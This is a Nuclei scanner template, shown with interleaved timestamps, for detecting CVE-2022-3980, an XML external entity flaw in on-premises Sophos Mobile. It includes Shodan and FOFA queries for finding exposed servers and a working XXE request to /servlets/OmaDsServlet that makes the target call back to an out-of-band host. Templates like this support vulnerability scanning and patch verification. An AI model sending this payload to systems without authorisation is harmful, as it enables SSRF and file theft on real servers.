2023-05-09 16:15:10 +00:00
id : CVE-2022-3980
info :
name : Sophos Mobile managed on-premises - XML External Entity Injection
author : dabla
severity : critical
description : |
2023-05-10 12:12:58 +00:00
An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server or conduct server-side request forgery (SSRF) attacks.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches or updates provided by Sophos to mitigate the vulnerability.
2023-05-09 16:15:10 +00:00
reference :
- https://www.sophos.com/en-us/security-advisories/sophos-sa-20221116-smc-xee
- https://nvd.nist.gov/vuln/detail/CVE-2022-3980
2024-01-29 17:11:14 +00:00
- https://github.com/bigblackhat/oFx
2023-05-09 16:15:10 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-3980
2023-07-11 19:49:27 +00:00
cwe-id : CWE-611
2024-01-29 17:11:14 +00:00
epss-score : 0.49036
epss-percentile : 0.97217
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:sophos:mobile:*:*:*:*:*:*:*:*
2023-05-09 16:15:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : sophos
product : mobile
2023-09-06 11:59:08 +00:00
shodan-query : http.favicon.hash:-1274798165
fofa-query : title="Sophos Mobile"
2023-05-09 17:20:55 +00:00
tags : cve,cve2022,xxe,ssrf,sophos
2023-05-09 16:15:10 +00:00
http :
- raw :
- |
@timeout : 50s
POST /servlets/OmaDsServlet HTTP/1.1
Host : {{Hostname}}
Content-Type : "application/xml"
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % test SYSTEM "http://{{interactsh-url}}">%test;]>
<cdl>test</cdl>
redirects : true
max-redirects : 3
matchers :
2023-05-09 17:20:55 +00:00
- type : dsl
dsl :
2023-05-10 12:12:58 +00:00
- "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
- "status_code == 400"
- "len(body) == 0"
condition : and
2024-01-30 06:46:18 +00:00
# digest: 490a004630440220012b18b7956245fe4458903b533174bcc146950ad006abe4895c4ae5ac0e58d9022073a0e0aa8ea1b57fd1a25fb11db163ca871070c887d59cbd7c8aae538e159533:922c64590222798bb761d5b6d8e72950